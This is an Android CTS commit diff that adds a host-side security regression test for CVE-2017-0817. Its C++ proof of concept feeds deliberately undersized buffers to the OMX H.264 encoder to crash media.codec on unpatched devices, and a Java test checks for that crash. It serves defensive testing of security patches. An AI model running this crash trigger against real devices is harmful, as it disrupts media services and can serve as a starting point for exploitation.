[RESTRICT AUTOMERGE] CTS test for Android Security b/63522430
Bug: 63522430
Bug: 68653237
Test: Ran the new testcase on android-10.0.0_r2 to test with/without patch
Change-Id: Ib097945775d137bc9f99cad7dd460ea435942a21
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index c4cb5b8..65268ba 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -166,6 +166,7 @@
<!--__________________-->
<!-- Bulletin 2018-01 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2017-0817->/data/local/tmp/CVE-2017-0817" />
<option name="push" value="CVE-2018-9527->/data/local/tmp/CVE-2018-9527" />
<!--__________________-->
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp
new file mode 100644
index 0000000..5380fb5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0817",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+
+ include_dirs: [
+ "frameworks/native/include/media/openmax",
+ "frameworks/av/media/libstagefright",
+ "frameworks/native/include/media/hardware",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libui",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "libnativewindow",
+ "android.hidl.allocator@1.0",
+ "android.hidl.memory@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
new file mode 100644
index 0000000..778eef0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
@@ -0,0 +1,139 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "stdlib.h"
+#include "../includes/common.h"
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#include <unistd.h>
+#include <hidlmemory/mapping.h>
+
+extern bool mUseTreble;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+void exit_handler(void) {
+ omxUtilsFreeNode();
+}
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+ int BufferSize) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+
+void poc() {
+ int i;
+ Vector < Buffer > inputBuffers;
+ Vector < Buffer > outputBuffers;
+ status_t err = omxUtilsInit((char*) "OMX.google.h264.encoder");
+ omxExitOnError(err);
+ atexit(exit_handler);
+
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+
+ int inMemSize = def.nBufferCountActual * def.nBufferSize / 512;
+ int inBufferCnt = def.nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+
+ sp < MemoryDealer > dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp < MemoryDealer > dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+ for (i = 0; i < inBufferCnt; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ sp < android::hidl::memory::V1_0::IMemory > mem = mapMemory(
+ inputBuffers[i].mHidlMemory);
+ memset((void *) mem->getPointer(), 0xCF, inBufferSize);
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory, &inBufferId[i]);
+ }
+
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+ for (i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory, &outBufferId[i]);
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+ for (i = 0; i < inBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+ for (i = 0; i < inBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+
+ omxUtilsFreeNode();
+ return;
+}
+#endif
+
+int main() {
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+ time_t currentTime = start_timer();
+ while(timer_active(currentTime)) {
+ poc();
+ }
+#endif
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 2f3b6c0..5f53d0ae 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -45,6 +45,18 @@
******************************************************************************/
/**
+ * b/63522430
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2018-01")
+ @Test
+ public void testPocCVE_2017_0817() throws Exception {
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0817", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
* b/36104177
* Vulnerability Behaviour: EXIT_VULNERABLE (113)
*/
